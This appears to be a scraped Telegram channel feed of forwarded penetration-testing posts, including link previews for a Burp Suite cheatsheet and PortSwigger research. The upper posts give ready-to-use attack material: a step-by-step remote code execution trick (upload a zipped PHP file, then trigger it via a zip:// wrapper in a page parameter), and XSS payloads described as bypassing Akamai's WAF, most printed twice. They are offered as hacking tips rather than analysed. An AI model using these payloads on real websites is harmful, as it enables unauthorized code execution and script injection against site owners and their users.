Forwarded from 🔥OSCP Training🔥🛡⚔️👨🏻💻
GitHub
GitHub - Ignitetechnologies/BurpSuite-For-Pentester: This cheatsheet is built for the Bug Bounty Hunters and penetration testers…
This cheatsheet is built for the Bug Bounty Hunters and penetration testers in order to help them hunt the vulnerabilities from P4 to P1 solely and completely with "BurpSuite". - ...
Bug Bounty Hunting Tip :-
If you can upload .zip file on target then:
1. Create a .php file (rce.php)
2. Compress it to a .zip file (file.zip)
3. Upload your .zip file on the vulnerable web application.
4. Trigger your RCE via:
( https://<target Site>.com/index.php?page=zip://path/file.zip#rce.php )
If you can upload .zip file on target then:
1. Create a .php file (rce.php)
2. Compress it to a .zip file (file.zip)
3. Upload your .zip file on the vulnerable web application.
4. Trigger your RCE via:
( https://<target Site>.com/index.php?page=zip://path/file.zip#rce.php )
Akamai WAF bypass
<A href="javascrip%09t:eval.apply`${[jj.className+`(23)`]}`" id=jj class=alert>Click Here
<A href="javascrip%09t:eval.apply`${[jj.className+`(23)`]}`" id=jj class=alert>Click Here
A nice way to store the payload
"><script>eval(new URL(document.location.href+"#javascript:confirm(69)").hash.slice(1))</script>
"><script>eval(new URL(document.location.href+"#javascript:confirm(69)").hash.slice(1))</script>
A payload to bypass Akamai WAF
<A href="javascrip%09t:eval.apply`${[jj.className+`(23)`]}`" id=jj class=alert>Click Here
<A href="javascrip%09t:eval.apply`${[jj.className+`(23)`]}`" id=jj class=alert>Click Here
👍4👌1
Forwarded from 🔥OSCP Training🔥🛡⚔️👨🏻💻
PortSwigger Research
Making HTTP header injection critical via response queue poisoning
HTTP header injection is often under-estimated and misclassified as a moderate severity flaw equivalent to XSS or worse, Open Redirection. In this post, I'll share a simple technique I used to take a
👍2
Forwarded from 🔥OSCP Training🔥🛡⚔️👨🏻💻
PortSwigger Research
Turbo Intruder: Embracing the billion-request attack
Automated web application attacks are terminally limited by the number of HTTP requests they can send. It's impossible to know how many hacks have gone off the rails because you didn't quite manage to
👍1